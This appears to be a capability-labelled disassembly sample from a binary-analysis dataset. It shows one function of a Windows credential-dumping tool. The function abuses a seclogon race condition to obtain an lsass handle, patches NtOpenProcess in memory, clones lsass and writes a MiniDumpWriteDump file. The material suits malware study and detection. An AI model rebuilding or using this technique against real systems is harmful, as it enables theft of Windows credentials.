Function at 0x140001f90
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Check for protected handle exception
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Create thread
Delete file
Execute shellcode via indirect call
Get file attributes
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push r13
push r14
push r15
lea rbp, [rsp - 0x10140]
mov eax, 0x10240
call fcn.140018000
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x10118], rax
movdqa xmm0, xmmword [0x140023710]
xor esi, esi
movdqu xmmword [rbp + 0x100a8], xmm0
mov r15, rdx
mov r14d, ecx
movdqa xmm0, xmmword [str.NtCreateProcessEMiniDumpWriteDum_]
lea rcx, [rbp + 0x10088]
movdqu xmmword [rbp + 0x100c0], xmm0
mov dword [rsp + 0x50], r8d
mov dword [rbp - 0x48], esi
mov dword [rbp + 0x10088], 0x620064
mov dword [rbp + 0x1008c], 0x630067
mov dword [rbp + 0x10090], 0x72006f
mov dword [rbp + 0x10094], 0x2e0065
mov dword [rbp + 0x10098], 0x6c0064
mov dword [rbp + 0x1009c], 0x6c
mov word [rbp + 0x100a0], si
mov dword [rbp + 0x10070], 0x74006e
mov dword [rbp + 0x10074], 0x6c0064
mov dword [rbp + 0x10078], 0x2e006c
mov dword [rbp + 0x1007c], 0x6c0064
mov dword [rbp + 0x10080], 0x6c
mov word [rbp + 0x10084], si
mov word [rbp + 0x100b8], 0x70
mov word [rbp + 0x100d0], 0x78
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, [rbp + 0x100a8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x10070]
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, [rbp + 0x100c0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov qword [rsp + 0x60], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x60]
lea rdx, str.SeDebugPrivilege
call fcn.140001500
test eax, eax
je 0x140002632
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x10288], rbx
mov qword [rsp + 0x10238], rdi
mov qword [rsp + 0x10230], r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.WINDOWS_system32_seclogon.dll
call fcn.140002cf0
mov ebx, eax
test eax, eax
jne 0x1400021aa
lea rcx, str.Seclogon_service_not_running__trying_to_wake_up..._n
call fcn.140001010
xorps xmm1, xmm1
lea r9, [0x140022ef0]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp - 0x20], rax
xor r8d, r8d
mov qword [rbp + 0x60], rax
xor edx, edx
lea rax, [rbp - 0x30]
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x40], rax
lea rax, [rbp]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp], xmm1
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm1
movups xmmword [rbp + 0x50], xmm1
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
lea rcx, str.WINDOWS_system32_seclogon.dll
call fcn.140002cf0
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r12d, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, qword gs:[0x30]
xor r9d, r9d
mov edi, eax
xor r8d, r8d
mov qword [rsp + 0x30], rsi
mov edx, 0x80000000
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x40], r14
movups xmm0, xmmword [rbp - 0x40]
mov dword [rsp + 0x28], 0x40000000
mov dword [rsp + 0x20], 3
movups xmmword [rcx + 0x40], xmm0
mov eax, dword [0x1400231d0]
lea rcx, [rbp + 0x100d8]
movups xmm0, xmmword [str.WindowsSystem32license.rtf]
mov dword [rbp + 0x10110], eax
movups xmm1, xmmword [0x1400231a8]
movups xmmword [rbp + 0x100d8], xmm0
movups xmm0, xmmword [0x1400231b8]
movups xmmword [rbp + 0x100e8], xmm1
movups xmmword [rbp + 0x100f8], xmm0
movsd xmm0, qword [0x1400231c8]
movsd qword [rbp + 0x10108], xmm0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, 0x18
mov dword [rbp - 0x40], 0xc0001
mov qword [rbp - 0x50], rax
lea r8, [rbp - 0x40]
mov eax, 1
mov dword [rbp - 0x3c], 3
mov dword [rbp - 0x38], eax
mov r9d, 0xc
lea rax, [rbp - 0x68]
mov dword [rbp - 0x18], 0x180001
mov qword [rsp + 0x38], rax
mov edx, 0x90240
mov qword [rsp + 0x30], 0
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], ecx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x140002649
lea rax, [rbp + 0x100d8]
mov dword [rsp + 0x78], r14d
mov qword [rbp - 0x80], rax
lea r9, [rsp + 0x78]
xor eax, eax
lea r8, [0x140002920]
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r9d, 1
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x68]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x140002662
lea rcx, str.Seclogon_thread_locked._A_lsass_handle_will_be_available_inside_the_seclogon_process__n
call fcn.140001010
mov rax, qword gs:[0x30]
lea r8, [rbp - 0x48]
mov qword [rsp + 0x78], r12
lea rdx, [rbp + 0x70]
mov qword [rbp - 0x80], rdi
mov ecx, ebx
movups xmm0, xmmword [rsp + 0x78]
movups xmmword [rax + 0x40], xmm0
call fcn.140001780
mov edi, dword [rbp - 0x48]
cmp edi, 1
jb 0x140002679
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002376
test al, 0x10
jne 0x140002376
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8d, ebx
movaps xmmword [rsp + 0x10220], xmm6
xor edx, edx
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor r12d, r12d
mov rsi, rax
mov ebx, r12d
test edi, edi
je 0x1400025ea
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 2
lea r9, [rsp + 0x70]
mov edx, ebx
mov r8, rax
mov dword [rsp + 0x28], r12d
mov rcx, rsi
mov dword [rsp + 0x20], r12d
mov rdx, qword [rbp + rdx*8 + 0x70]
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
cmp eax, r14d
je 0x1400023f6
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, edi
jb 0x1400023a0
jmp 0x1400025ea
mov r9, qword [rsp + 0x70]
lea rcx, [rsp + 0x68]
mov byte [rsp + 0x40], r12b
xor r8d, r8d
mov qword [rsp + 0x38], r12
mov edx, 0x2000000
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x1001
call r13
test eax, eax
jne 0x140002690
lea rax, [0x1400026d0]
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x12c00000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rsp + 0x68]
mov edx, 2
mov r8d, edx
mov qword [0x140027cf8], rax
mov dword [0x140027d00], r12d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rbx, qword [rsp + 0x68]
lea rcx, str.ntdll.dll
mov word [rbp - 0x40], 0xc748
mov byte [rbp - 0x3e], 1
mov dword [rbp - 0x3b], 0x31480000
mov byte [rbp - 0x37], 0xc0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtOpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp - 0x48]
mov word [rbp - 0x3d], bx
mov edx, 0xb
mov r8d, 0x40
mov rcx, rax
mov rdi, rax
movsd xmm6, qword [rax]
movzx r14d, word [rax + 8]
movzx r12d, byte [rax + 0xa]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movsd xmm0, qword [rbp - 0x40]
lea r9, [rsp + 0x60]
movzx eax, word [rbp - 0x38]
mov edx, 0xb
movsd qword [rdi], xmm0
mov rcx, rdi
mov word [rdi + 8], ax
mov byte [rdi + 0xa], 0xc3
mov r8d, dword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rcx, qword [rsp + 0x68]
xor edi, edi
mov edx, eax
mov r9d, 2
lea rax, [rbp - 0x78]
xor r8d, r8d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [rsp + 0x58]
test eax, eax
je 0x1400026a9
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtOpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp - 0x48]
mov edx, 0xb
mov rcx, rax
mov r8d, 0x40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movsd qword [rbx], xmm6
lea r9, [rsp + 0x60]
mov word [rbx + 8], r14w
mov edx, 0xb
mov byte [rbx + 0xa], r12b
mov rcx, rbx
mov r8d, dword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov edx, dword [rsp + 0x50]
mov rcx, r15
call fcn.140002740
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [0x140027cf8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x68]
mov qword [0x140027cf8], rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm6, xmmword [rsp + 0x10220]
mov rdi, qword [rsp + 0x10238]
mov rbx, qword [rsp + 0x10288]
mov r12, qword [rsp + 0x10230]
mov rcx, qword [rbp + 0x10118]
xor rcx, rsp
call fcn.140002ec0
add rsp, 0x10240
pop r15
pop r14
pop r13
pop rsi
pop rbp
ret
lea rcx, str.SetPrivilege_failed_to_enable_SeDebugPrivilege._Run_it_as_an_Administrator._Exiting..._n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006600
int3
mov edx, eax
lea rcx, str.Oplock_Failed__d_n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006600
int3
lea rcx, str.Oplock_Failed._Exiting..._n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006600
int3
lea rcx, str.No_process_handles_found_in_seclogon._The_race_condition_didnt_work._n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006600
int3
mov edx, eax
lea rcx, str.NtCreateProcessEx_failed_with_ntstatus_0x_08x
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006600
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.MiniDumpWriteDump_failed_with_error_code__d_n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006600
int3